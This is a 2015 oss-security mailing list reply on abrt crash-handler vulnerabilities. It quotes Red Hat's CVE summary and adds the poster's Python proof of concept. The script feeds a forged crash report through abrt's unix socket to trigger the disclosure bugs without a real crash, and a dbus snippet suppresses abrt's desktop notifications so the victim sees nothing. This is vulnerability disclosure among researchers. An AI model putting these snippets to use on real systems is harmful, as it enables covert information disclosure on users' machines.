[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <CANtF8NBuiE+1F65+cLp0CXivZUiYxyJcZK2Yhz9J1qu0hCdC9w@mail.gmail.com>
Date: Fri, 17 Apr 2015 15:54:47 -0500
From: Grandma Eubanks <tborland1@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: Problems in automatic crash analysis frameworks
Just to enter into the fray, I reported a simple dmesg_restrict bypass and
found a lot of these recent more recent 'information' disclosures a while
ago with minimal changes:
https://bugzilla.redhat.com/show_bug.cgi?id=1128400
Not a lot of people seem to be looking at this from a triggerable angle
with the unix domain socket. A simple test I've been running with that
allows triggers for a lot of these is:
import socket
from os import strerror
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
conn = s.connect_ex("/var/run/abrt/abrt.socket")
if (conn != 0):
sleep(2.1)
print("ERROR:\t%s" % strerror(conn))
conn = s.connect_ex("/var/run/abrt/abrt.socket")
print("Connected, sending...")
s.send("POST / HTTP/1.1\r\n\r\n")
s.send("type=dumpit\0")
s.send("reason=anything\0")
s.send("executable=/usr/lib/systemd/systemd-journald\0")
s.send("pid=677\0")
s.send("analyzer=Kerneloops\0")
s.close()
By reading some code and looking at the different types of analyzers, most
of these very recent CVE's easily triggerable without actually needing to
cause a real crash (just change executable= to any validly installed
package without 'ProcessUnpackaged' set and some other required fields as
found by reading through the proper event handler code). And plus, with a
little dbus play:
def kill_user_notification():
# get current notification counter value
bus = dbus.SessionBus()
bus_object =
bus.get_object("org.freedesktop.Notifications","/org/freedesktop/Notifications")
object_method =
bus_object.get_dbus_method("Notify","org.freedesktop.Notifications")
id_value = ((object_method("",0,"","","","","",1)))
# kill notification and abrt notification
bus = dbus.SessionBus()
bus_object =
bus.get_object("org.freedesktop.Notifications","/org/freedesktop/Notifications")
object_method =
bus_object.get_dbus_method("CloseNotification","org.freedesktop.Notifications")
object_method(id_value)
sleep(1)
object_method(id_value+1)
You no longer trigger notification windows.
On Fri, Apr 17, 2015 at 2:16 PM, Florian Weimer <fweimer@...hat.com> wrote:
> A quick update on the abrt situation.
>
> Most of these issues center around file ownership and contents under
> so-called problem directories (subdirectories of /var/tmp/abrt or
> /var/spool/abrt). Problem directories are owned by root and have mode
> 750 on Red Hat Enterprise Linux 6, which suggest that with this older
> abrt version, exploits are only possible if uploads are enabled in some
> way (see below).
>
> abrt writes coredumps to existing world-writable files owned by other
> users, disclosing coredump contents across user boundaries. This
> affects a default configuration, but requires an application to crash
> while its current directory is world-writable, so exploiting it seems
> difficult. We have assigned CVE-2015-3142.
> <https://bugzilla.redhat.com/show_bug.cgi?id=1212818>
>
> By default, abrt automatically runs post-crash actions on problem
> directories (event handling scripts). These scripts have symlink issues
> and other race conditions. This is more or less a repeat of the main
> abrt-hook-ccpp issue Tavis' reported, but at a higher level. It means
> that hardening the file system access in abrt-hook-ccpp is insufficient.
> We have assigned CVE-2015-1869:
> <https://bugzilla.redhat.com/show_bug.cgi?id=1212861>
>
> The default event handling scripts add a sosreport file (containing
> files which are not world-readable) and user-controlled excerpts from
> /var/log/messages to the user-readable problem directory. This is an
> information disclosure flaw, CVE-2015-1870:
> <https://bugzilla.redhat.com/show_bug.cgi?id=1212868>
>
> abrt has an upload functionality which allows, after non-default but
> documented/supported configuration, other systems to upload crash
> reports. This indirectly allows one to create a problem directory with
> symbolic links and unintended permissions, enabling further attacks. We
> treat this as a vulnerability, CVE-2015-3147:
> <https://bugzilla.redhat.com/show_bug.cgi?id=1212953>
>
> As explained in the parallel thread, abrt needs to disable user coredump
> files in fs.suid_dumpable=2 mode, like the kernel does, and we don't
> treat this as a vulnerability:
> <https://bugzilla.redhat.com/show_bug.cgi?id=1212873>
>
> It makes sense to have separate abrt-hook-ccpp implementation that does
> not write user coredump files. It would not have to write to arbitrary
> file system locations, so it can be restricted with SELinux. This
> enhancement is tracked as:
> <https://bugzilla.redhat.com/show_bug.cgi?id=1212885>
>
> There is a backlog of other issues for which I have not yet filed bugs.
>
> --
> Florian Weimer / Red Hat Product Security
>
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
